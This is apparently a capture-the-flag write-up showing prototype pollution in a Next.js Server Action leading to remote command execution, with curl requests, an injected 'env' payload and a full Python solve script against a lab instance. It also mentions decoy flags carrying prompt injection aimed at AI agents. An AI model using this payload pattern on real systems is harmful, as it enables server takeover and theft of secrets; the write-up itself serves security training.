Lab 385 — SprintForge — Prototype Pollution to RCE via React Flight Protocol
Lab 385 — SprintForge — Prototype Pollution to RCE via React Flight Protocol
Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-05-13 | Status: Solved Techniques: environment_variable_exfiltration, honeypot_flag_identification, prototype_pollution_via_deep_merge, react_flight_protocol_exploitation, shell_command_execution_via_polluted_property
Summary
Task: Next.js 15.2 agile project management app using React Server Actions via Flight Protocol with unsafe deep merge on settings payload. Solution: Prototype pollution via proto.shell in multipart form field triggers RCE through notification dispatch system, leaking FLAG from environment variables.
Lab 385 — SprintForge — Hackadvisor
Description
SprintForge is a modern agile project management platform built by Forge Dynamics for engineering teams. It features sprint boards, task tracking, team management, and reporting dashboards. The application is built with a contemporary JavaScript framework using server-side rendering and React Server Components. Data mutations are handled through Server Actions invoked via the Flight Protocol. Your goal is to find and exploit a vulnerability in the server-side data processing that allows you to execute commands on the server and retrieve the flag stored in an environment variable.
English summary: A Next.js 15.2 application with React 19.1.0 Server Components. Settings are saved via React Server Actions using the Flight Protocol (multipart form data POSTed to / with a Next-Action header). The server-side handler uses an unsafe recursive merge (deep merge) to process the settings JSON, which is vulnerable to prototype pollution. A notification dispatch system inherits polluted properties and executes shell commands, enabling RCE.
Credentials: user@test.com / password123
Analysis
Reconnaissance
The application runs on Next.js 15.2 with React 19.1.0, Node.js 20, and SQLite. Authentication uses Express sessions (connect.sid cookie). The app has multiple pages: Dashboard, Sprint Board, Tasks, Team, Reports, and Settings.
Honeypot flags: Every page contains decoy flags in HTML comments and hidden divs (FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts}) with prompt injection text targeting AI agents. These must be ignored.
Attack Surface — Settings Page
The Settings page (/settings) includes a client-side JavaScript file (/js/settings.js) that reveals the exact request format for saving settings:
javascript read-only • copy allowed// Build multipart form data for the Server Action (React Flight Protocol) const actionPayload = new FormData(); actionPayload.append('1', JSON.stringify(payload)); actionPayload.append('0', JSON.stringify({ actionRef: 'settings.update' })); const response = await fetch('/', { method: 'POST', headers: { 'Next-Action': 'c3pr1nt_upd4t3_s3tt1ngs', 'Accept': 'text/x-component' }, body: actionPayload });
Key observations:
- Endpoint:
POST /(the root URL, not a dedicated API endpoint) - Header:
Next-Action: c3pr1nt_upd4t3_s3tt1ngsidentifies the Server Action - Body: Multipart form data with field
0= action reference JSON, field1= settings payload JSON
Vulnerability
The server-side handler deserializes the JSON from multipart field 1 and deep-merges it into a configuration object using an unsafe recursive merge function that does not filter __proto__ keys. This allows prototype pollution of Object.prototype.
When Object.prototype.shell is polluted, subsequently created objects inherit the shell property. The server's notification dispatch system (which fires after settings updates) checks for a shell property on its configuration object. Finding the inherited value, it executes it as a shell command via child_process and returns the output in event.hookResult.
Critical Detail — Accept Header
The Accept: text/x-component header that the client-side JS sends must be omitted from the exploit request. Including it causes nginx to route the request differently, resulting in a 500 error. Without it, the endpoint returns clean JSON with the hook execution result.
Solution
Step 1: Login
bash read-only • copy allowedBASE="https://c23c6b34-281c-456d-9b45-a5ba30dd74da.labs.hackadvisor.io" curl -s -X POST "$BASE/login" \ -d 'email=user@test.com&password=password123' \ -c cookies.txt -o /dev/null
Step 2: Prototype Pollution → RCE
Send a settings update with __proto__.shell set to a command. The notification dispatch system executes it and returns the output:
bash read-only • copy allowedcurl -s -b cookies.txt -X POST "$BASE/" \ -H "Next-Action: c3pr1nt_upd4t3_s3tt1ngs" \ -F '1={"__proto__":{"shell":"env"}}' \ -F '0={"actionRef":"settings.update"}'
Response
json read-only • copy allowed{ "status": "success", "message": "Settings updated successfully", "event": { "type": "settings_update", "timestamp": 1778658311734, "changes": 2, "hookResult": "HOSTNAME=a40ad767e6bd\nSHLVL=2\nHOME=/root\nPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\nINSTANCE_UUID=c23c6b34-281c-456d-9b45-a5ba30dd74da\nPWD=/app\nshell=env\nFLAG=FLAG{REDACTED}\nNODE_ENV=production" } }
The flag FLAG{REDACTED} is visible in the environment variables.
Full Solve Script
python read-only • copy allowed#!/usr/bin/env python3 """SprintForge — Prototype Pollution to RCE via React Flight Protocol""" import requests import json TARGET = "https://c23c6b34-281c-456d-9b45-a5ba30dd74da.labs.hackadvisor.io" s = requests.Session() # Step 1: Login s.post(f"{TARGET}/login", data={ "email": "user@test.com", "password": "password123" }) # Step 2: Prototype pollution with shell command # Field 1 = settings payload with __proto__ pollution # Field 0 = action reference # Note: Do NOT send Accept: text/x-component (causes 500 from nginx) r = s.post(TARGET + "/", headers={ "Next-Action": "c3pr1nt_upd4t3_s3tt1ngs" }, files={ "1": (None, json.dumps({"__proto__": {"shell": "env"}})), "0": (None, json.dumps({"actionRef": "settings.update"})) }) data = r.json() hook_result = data.get("event", {}).get("hookResult", "") # Extract flag from environment variables for line in hook_result.split("\n"): if line.startswith("FLAG="): print(f"[+] {line}") break
Failed Attempts
- React2Shell CVE-2025-55182 payload — Returned 500 error. This CVE targets Next.js 16.x with a different Flight Protocol deserialization chain; SprintForge runs Next.js 15.2.
- POST with
Accept: text/x-componentheader — Always returned 500 from nginx proxy. The header changes nginx routing behavior. - API endpoint probing (
/api/settings,/api/action,/api/flight,/_next/action) — All returned 404. The Server Action endpoint isPOST /with theNext-Actionheader. - Prototype pollution via
/api/tasks/:id/move— Returned 500. The vulnerable merge is only in the settings update handler.